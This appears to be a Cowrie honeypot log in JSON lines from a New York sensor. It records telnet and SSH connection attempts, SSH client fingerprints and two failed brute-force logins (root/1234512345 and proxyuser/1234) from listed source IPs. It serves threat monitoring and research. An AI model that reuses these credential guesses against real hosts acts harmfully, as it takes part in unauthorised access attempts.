{"eventid":"cowrie.session.closed","duration":30.858004093170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:49.114575Z","src_ip":"206.130.127.38","session":"a2b8a31cbddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":33372,"dst_ip":"159.203.135.109","dst_port":23,"session":"854e2f24526d","protocol":"telnet","message":"New connection: 154.53.41.252:33372 (159.203.135.109:23) [session: 854e2f24526d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:49.692484Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":33412,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2397c718b64","protocol":"telnet","message":"New connection: 154.53.41.252:33412 (159.203.135.109:23) [session: e2397c718b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:49.722201Z"}
{"eventid":"cowrie.session.closed","duration":30.84306240081787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:50.033383Z","src_ip":"206.130.127.38","session":"4cbe46beeb9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085887908935547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:50.165356Z","src_ip":"103.211.218.218","session":"2169286b7f97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a9107d3f6f","protocol":"telnet","message":"New connection: 154.53.41.252:36482 (159.203.135.109:23) [session: 77a9107d3f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:51.604417Z"}
{"eventid":"cowrie.session.closed","duration":31.381240606307983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:51.613705Z","src_ip":"103.211.218.218","session":"6f4b22a9682a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":36792,"dst_ip":"159.203.135.109","dst_port":23,"session":"f502c557e0ba","protocol":"telnet","message":"New connection: 154.53.41.252:36792 (159.203.135.109:23) [session: f502c557e0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:51.800438Z"}
{"eventid":"cowrie.session.closed","duration":30.801252603530884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:52.144172Z","src_ip":"206.130.127.38","session":"1e4413245e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":58876,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd1959a239a","protocol":"telnet","message":"New connection: 45.95.113.26:58876 (159.203.135.109:23) [session: 7bd1959a239a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:52.584716Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bb2a6916bef","protocol":"telnet","message":"New connection: 206.130.127.38:57802 (159.203.135.109:23) [session: 4bb2a6916bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:52.713897Z"}
{"eventid":"cowrie.session.closed","duration":120.00142359733582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:52.756757Z","src_ip":"157.49.80.15","session":"006d000fe1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":14295,"dst_ip":"10.17.0.5","dst_port":23,"session":"d982c7f36561","protocol":"telnet","message":"New connection: 157.49.80.15:14295 (10.17.0.5:23) [session: d982c7f36561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:53.406383Z"}
{"eventid":"cowrie.session.closed","duration":30.38778257369995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:54.307995Z","src_ip":"45.95.113.26","session":"c902b42a3c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42254,"dst_ip":"159.203.135.109","dst_port":23,"session":"087bc37da0b9","protocol":"telnet","message":"New connection: 154.53.41.252:42254 (159.203.135.109:23) [session: 087bc37da0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.088748Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2863c0d84f5f","protocol":"telnet","message":"New connection: 154.53.41.252:42356 (159.203.135.109:23) [session: 2863c0d84f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.151089Z"}
{"eventid":"cowrie.session.closed","duration":30.903164863586426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.225899Z","src_ip":"80.65.211.42","session":"4fd030ea6f2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42758,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da7602ba9b4","protocol":"telnet","message":"New connection: 154.53.41.252:42758 (159.203.135.109:23) [session: 8da7602ba9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.418972Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c5a3a234ff","protocol":"telnet","message":"New connection: 154.53.41.252:42802 (159.203.135.109:23) [session: 37c5a3a234ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.455364Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"89fbee2b546d","protocol":"telnet","message":"New connection: 157.49.80.15:34960 (10.17.0.5:23) [session: 89fbee2b546d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.791879Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":60108,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e7f4eea607","protocol":"telnet","message":"New connection: 206.130.127.38:60108 (159.203.135.109:23) [session: 10e7f4eea607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:55.940963Z"}
{"eventid":"cowrie.session.closed","duration":30.90848469734192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:56.106728Z","src_ip":"154.53.41.252","session":"80762d4d1da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":34060,"dst_ip":"159.203.135.109","dst_port":23,"session":"96899bc54366","protocol":"telnet","message":"New connection: 45.95.113.26:34060 (159.203.135.109:23) [session: 96899bc54366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:56.990503Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":45328,"dst_ip":"159.203.135.109","dst_port":23,"session":"1606c3424dfa","protocol":"telnet","message":"New connection: 154.53.41.252:45328 (159.203.135.109:23) [session: 1606c3424dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:57.248902Z"}
{"eventid":"cowrie.session.closed","duration":31.032283067703247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:58.102936Z","src_ip":"206.130.127.38","session":"f7d140abf326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087498903274536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:58.152103Z","src_ip":"206.130.127.38","session":"fc69bb1f47a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010873317718506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:58.301309Z","src_ip":"206.130.127.38","session":"ab5c4e2a0e8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":34064,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cf96023a4b","protocol":"telnet","message":"New connection: 45.95.113.26:34064 (159.203.135.109:23) [session: 66cf96023a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:02.064626Z"}
{"eventid":"cowrie.session.closed","duration":30.814143419265747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:02.360691Z","src_ip":"206.130.127.38","session":"d1009fe3a8cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03813862800598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:02.681801Z","src_ip":"45.95.113.26","session":"a5135e061da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38262,"dst_ip":"159.203.135.109","dst_port":22,"session":"877de1b23aa7","protocol":"ssh","message":"New connection: 141.11.21.145:38262 (159.203.135.109:22) [session: 877de1b23aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:03.558405Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:03.641837Z","src_ip":"141.11.21.145","session":"877de1b23aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38272,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e591c188fb","protocol":"ssh","message":"New connection: 141.11.21.145:38272 (159.203.135.109:22) [session: 05e591c188fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:03.716922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:03.722031Z","src_ip":"141.11.21.145","session":"05e591c188fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:03.815059Z","src_ip":"141.11.21.145","session":"05e591c188fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:04.059880Z","src_ip":"141.11.21.145","session":"05e591c188fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf7f1a17d19","protocol":"telnet","message":"New connection: 154.53.41.252:54578 (159.203.135.109:23) [session: ccf7f1a17d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:04.113482Z"}
{"eventid":"cowrie.session.closed","duration":31.605711460113525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:04.494009Z","src_ip":"80.65.211.42","session":"c158289c6142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55694,"dst_ip":"159.203.135.109","dst_port":23,"session":"792dbf3351d1","protocol":"telnet","message":"New connection: 154.53.41.252:55694 (159.203.135.109:23) [session: 792dbf3351d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:04.809267Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"796d7e9bdee3","protocol":"telnet","message":"New connection: 206.130.127.38:38764 (159.203.135.109:23) [session: 796d7e9bdee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:05.089865Z"}
{"eventid":"cowrie.session.closed","duration":30.55255961418152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:05.097406Z","src_ip":"154.53.41.252","session":"413db6704c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:05.144254Z","src_ip":"141.11.21.145","session":"05e591c188fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.979799509048462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:05.239065Z","src_ip":"206.130.127.38","session":"3365dfeb7772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"39484cf65160","protocol":"telnet","message":"New connection: 45.95.113.26:39730 (159.203.135.109:23) [session: 39484cf65160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:05.359284Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":39746,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bf8faacd94","protocol":"telnet","message":"New connection: 45.95.113.26:39746 (159.203.135.109:23) [session: 90bf8faacd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:06.360080Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"03583e0de5ba","protocol":"telnet","message":"New connection: 154.53.41.252:59774 (159.203.135.109:23) [session: 03583e0de5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:07.986061Z"}
{"eventid":"cowrie.session.closed","duration":30.323625326156616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:09.104758Z","src_ip":"206.130.127.38","session":"b767fda24619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29136562347412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:09.238465Z","src_ip":"154.53.41.252","session":"51db19e1cf44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":42084,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1238b0e68d","protocol":"telnet","message":"New connection: 206.130.127.38:42084 (159.203.135.109:23) [session: 2b1238b0e68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:09.416551Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":42640,"dst_ip":"159.203.135.109","dst_port":23,"session":"0131619d3c80","protocol":"telnet","message":"New connection: 206.130.127.38:42640 (159.203.135.109:23) [session: 0131619d3c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:10.083391Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34242,"dst_ip":"159.203.135.109","dst_port":23,"session":"0532784c9648","protocol":"telnet","message":"New connection: 154.53.41.252:34242 (159.203.135.109:23) [session: 0532784c9648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:10.113181Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":59674,"dst_ip":"159.203.135.109","dst_port":23,"session":"007eb3212c9d","protocol":"telnet","message":"New connection: 103.211.218.218:59674 (159.203.135.109:23) [session: 007eb3212c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:10.175617Z"}
{"eventid":"cowrie.session.closed","duration":30.34702229499817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:11.021791Z","src_ip":"103.211.218.218","session":"99c92ab2887e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21014094352722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:11.081460Z","src_ip":"154.53.41.252","session":"18f1124e42a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43716,"dst_ip":"159.203.135.109","dst_port":23,"session":"873e2c9cba80","protocol":"telnet","message":"New connection: 206.130.127.38:43716 (159.203.135.109:23) [session: 873e2c9cba80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:11.530915Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:11.849863Z","src_ip":"182.95.153.122","session":"4f8ff28d4a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37060,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a7491ad7419","protocol":"telnet","message":"New connection: 154.53.41.252:37060 (159.203.135.109:23) [session: 4a7491ad7419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.148257Z"}
{"eventid":"cowrie.session.closed","duration":31.65116000175476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.595302Z","src_ip":"103.211.218.218","session":"eea6e2305dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":41176,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a0d4de1784","protocol":"ssh","message":"New connection: 14.225.205.58:41176 (10.17.0.5:22) [session: 22a0d4de1784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.675426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.681802Z","src_ip":"14.225.205.58","session":"22a0d4de1784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37856,"dst_ip":"159.203.135.109","dst_port":23,"session":"b64ede27322a","protocol":"telnet","message":"New connection: 154.53.41.252:37856 (159.203.135.109:23) [session: b64ede27322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.687931Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:12.953828Z","src_ip":"14.225.205.58","session":"22a0d4de1784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d51a79ee7ab0","protocol":"telnet","message":"New connection: 154.53.41.252:38844 (159.203.135.109:23) [session: d51a79ee7ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:13.488360Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":36892,"dst_ip":"159.203.135.109","dst_port":23,"session":"798d1b8a7dfc","protocol":"telnet","message":"New connection: 45.95.113.26:36892 (159.203.135.109:23) [session: 798d1b8a7dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:13.492939Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":45484,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd26dca910e4","protocol":"telnet","message":"New connection: 206.130.127.38:45484 (159.203.135.109:23) [session: dd26dca910e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:13.787004Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":44806,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e93c8145f6","protocol":"telnet","message":"New connection: 206.130.127.38:44806 (159.203.135.109:23) [session: 07e93c8145f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:13.905234Z"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"1234","message":"login attempt [proxyuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:14.071038Z","src_ip":"14.225.205.58","session":"22a0d4de1784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.21192240715027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:14.099214Z","src_ip":"45.95.113.26","session":"6672dd6e2d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":40018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba684a6a89d","protocol":"telnet","message":"New connection: 154.53.41.252:40018 (159.203.135.109:23) [session: 0ba684a6a89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:14.474033Z"}
{"eventid":"cowrie.session.closed","duration":30.435420989990234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:15.159998Z","src_ip":"154.53.41.252","session":"aa2966ff26af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:10:15.345525Z","src_ip":"14.225.205.58","session":"22a0d4de1784","protocol":"ssh"}
